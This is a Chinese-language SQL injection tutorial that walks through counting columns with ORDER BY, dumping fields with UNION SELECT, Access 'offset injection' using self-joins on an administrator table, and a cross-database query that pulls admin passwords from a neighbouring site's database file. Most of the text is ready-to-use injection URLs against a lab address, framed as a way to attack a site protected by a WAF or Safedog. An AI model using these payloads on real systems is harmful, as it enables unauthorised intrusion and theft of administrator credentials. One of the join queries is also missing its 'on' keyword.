SQL注入中的高级查询——order by 与union select
在上一节中介绍的ASCII码猜解法很浪费时间,下面介绍一种高效率的方法一一order by与union select联合查询,可以快速地获得字段长度及字段内容。这种查询方法,不仅可以利用在Access数据库猜解中,必须掌握的方法。同样也可以利用在其他类型数据库的注入猜解中,是一种非常重要,而且必须掌握的方法。
1. order by 猜字段数目
首先,利用order by猜解字段数目,查询语句如下。
order by 1
order by 2
...
order by n-1
order by n
如果n-1时返回正常,n时返回错误,那么说明字段数目为n。
这边正好有七个 所以这边必须接 order by 7
2. union select爆字段内容
得到字段长度后,就可利用union select查询获得字段内容了。
and 1=2 union select1, 2, 3...., n from 表名
执行上面的查询时,在页面中会返回数字,修改查询语句中的数字为字段名,例如提交如下代码。
and 1=2 union select1, 字段1, 字段2...., n from 表名
在页面中就会返回字段内容,不必一个一个进行猜解了。
3. 偏移注入
偏移注入是针对Access数据库,当我们注入猜到数据库表名确猜不到列名的情况下,这种方法就可以帮我们填补。(注:这种方法运气很重要)
第一步: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,2,3,4,5,6,7 from administrator当我们把把username或password代入2、3查询不到的时候,就可以使用下面方法。
第二步: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,2,3,4,* from administrator分别用*号代替数字,直到返回正常页面。发现在4的时候页面返回正常,接着我们用7-4=3(代表administrator 有3个字段)再接着用3*2+1=7来构造第三步注入语句。
第三步: http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1, a.id,b.id, * from (administrator as a inner join administrator as b on a.id=b.id)注:a.id ,b.id每个占三个字段,就是上面3*2
第四步:如果用户名和密码没暴出来,并且字段数多的情况下(例如:10个字段,那就是3*3+1=10),那么通过下例语句还可以接着暴用户名和密码:http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,a.id,b.id,c.id,* from ((administrator as a inner join administrator as b on a.id=b.id) inner join administrator as c a.id=c.id)
4. 注入跨库查询
假设a和b两个站点在同一服务器上面,但服务器上面安装了安全狗、Waf这样的安全软件,现在我们要对a站点进行攻击,但是没发现什么大漏洞,只找到网站数据库路径,对数据库下载发现下载不了。这个时候我发现b站点有注入点。直接用
http://192.168.1.106:901/news_view.asp?id=14 UNION SELECT 1,adminpassword,username,4,5,6,7 from
[C:\wwwtest\2AspCMS\AspCms_data\data.asp].Aspcms_Admins